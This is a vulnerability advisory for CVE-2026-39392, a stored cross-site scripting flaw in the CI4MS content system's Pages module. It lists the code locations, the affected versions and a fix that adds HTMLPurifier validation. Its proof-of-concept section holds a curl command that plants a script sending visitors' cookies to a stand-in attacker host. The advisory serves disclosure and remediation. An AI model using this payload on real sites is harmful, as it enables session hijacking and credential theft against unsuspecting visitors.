GHSA-fjpj-6qcq-6pw2

Suggest an improvement
Source
https://github.com/advisories/GHSA-fjpj-6qcq-6pw2
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-fjpj-6qcq-6pw2/GHSA-fjpj-6qcq-6pw2.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-fjpj-6qcq-6pw2
Aliases
  • CVE-2026-39392
Published
2026-04-08T19:15:42Z
Modified
2026-04-08T19:36:35.963846Z
Severity
  • 5.5 (Medium) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N CVSS Calculator
Summary
CI4MS has stored XSS in Pages Content Due to Missing html_purify Sanitization
Details

Summary

The Pages module does not apply the html_purify validation rule to content fields during create and update operations, while the Blog module does. Page content is stored unsanitized in the database and rendered as raw HTML on the public frontend via echo $pageInfo->content. An authenticated admin with page-editing privileges can inject arbitrary JavaScript that executes in the browser of every public visitor viewing the page.

Details

The Blog module correctly applies HTMLPurifier sanitization to content fields:

modules/Blog/Controllers/Blog.php:82

'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required|html_purify'],

The Pages module omits this rule in both create and update methods:

modules/Pages/Controllers/Pages.php:82 (create)

'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required'],

modules/Pages/Controllers/Pages.php:130 (update)

'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required'],

Content is stored directly without sanitization:

modules/Pages/Controllers/Pages.php:111 (create path)

'content' => $lData['content'],

modules/Pages/Controllers/Pages.php:157 (update path)

'content' => $lData['content'],

On the public frontend, the content is rendered as raw HTML without escaping:

app/Views/templates/default/pages.php:32

<?php echo $pageInfo->content ?>

Note that the same template correctly escapes the title field on line 9 using esc($pageInfo->title), further confirming the content output is an oversight.

The html_purify custom validation rule is defined in modules/Backend/Validation/CustomRules.php:54-73 and uses the HTMLPurifier library to strip dangerous HTML (script tags, event handlers) while preserving safe rich content. Its absence from the Pages validation is the root cause.

PoC

Step 1: Create a page with XSS payload (requires admin session)

curl -X POST https://target/backend/pages/create \
  -b 'ci_session=ADMIN_SESSION_COOKIE' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d 'lang[tr][title]=Test+Page&lang[tr][seflink]=test-xss-page&lang[tr][content]=<p>Normal+content</p><script>document.location="https://attacker.example/?c="%2Bdocument.cookie</script>&isActive=1'

Step 2: Visit the page as any unauthenticated user

https://target/tr/test-xss-page

Expected result: The <script> tag executes in the visitor's browser, sending their cookies to the attacker-controlled server.

Impact

  • Session hijacking: Attacker steals session cookies of any visitor, including other administrators
  • Credential theft: Injected JavaScript can render fake login forms or keylog credentials
  • Site defacement: Arbitrary HTML/JS can modify the public-facing page for all visitors
  • Malware distribution: Injected scripts can redirect visitors or load external payloads

The attack requires admin-level authentication (PR:H), but the impact crosses the security boundary to affect all unauthenticated public visitors (S:C). In a multi-admin CMS environment, a lower-privileged admin with only page-editing permissions could compromise higher-privileged admin sessions.

Recommended Fix

Add the html_purify validation rule to both the create and update methods in the Pages controller, consistent with the Blog module:

modules/Pages/Controllers/Pages.php:82 — change:

'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required'],

to:

'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required|html_purify'],

modules/Pages/Controllers/Pages.php:130 — apply the same change:

'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required|html_purify'],

Additionally, as defense-in-depth, escape content output in the view template or use the existing esc() helper with the 'raw' context for trusted HTML, ensuring HTMLPurifier has already processed it before storage.

Database specific
{
    "nvd_published_at": "2026-04-08T15:16:14Z",
    "severity": "MODERATE",
    "github_reviewed": true,
    "cwe_ids": [
        "CWE-79"
    ],
    "github_reviewed_at": "2026-04-08T19:15:42Z"
}
References

Affected packages

Packagist / ci4-cms-erp/ci4ms

Package

Name
ci4-cms-erp/ci4ms
Purl
pkg:composer/ci4-cms-erp/ci4ms

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
0.31.4.0

Affected versions

0.*
0.21.0
0.21.1
0.21.2
0.21.3
0.21.3.1
0.21.3.2
0.21.3.3
0.21.3.4
0.21.3.5
0.21.3.6
0.21.3.7
0.23.0.0
0.23.0.1
0.23.0.2
0.23.1.0
0.24.0.0
0.24.0.16
0.24.0.18
0.24.0.19
0.24.0.20
0.24.0.27
0.24.0.42
0.24.0.45
0.24.0.60
0.25.0.0
0.25.0.1
0.25.0.2
0.25.0.30
0.25.0.39
0.25.0.43
0.25.1.0
0.25.2.0
0.25.3.0
0.26.0.0
0.26.1.0
0.26.2.0
0.26.3.0
0.26.3.1
0.26.3.2
0.26.3.3
0.26.3.4
0.27.0.0
0.28.0.0
0.28.3.0
0.28.4.0
0.28.5.0
0.28.6.0
0.31.0.0
0.31.1.0
0.31.2.0
0.31.3.0

Database specific

last_known_affected_version_range
"<= 0.31.3.0"
source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-fjpj-6qcq-6pw2/GHSA-fjpj-6qcq-6pw2.json"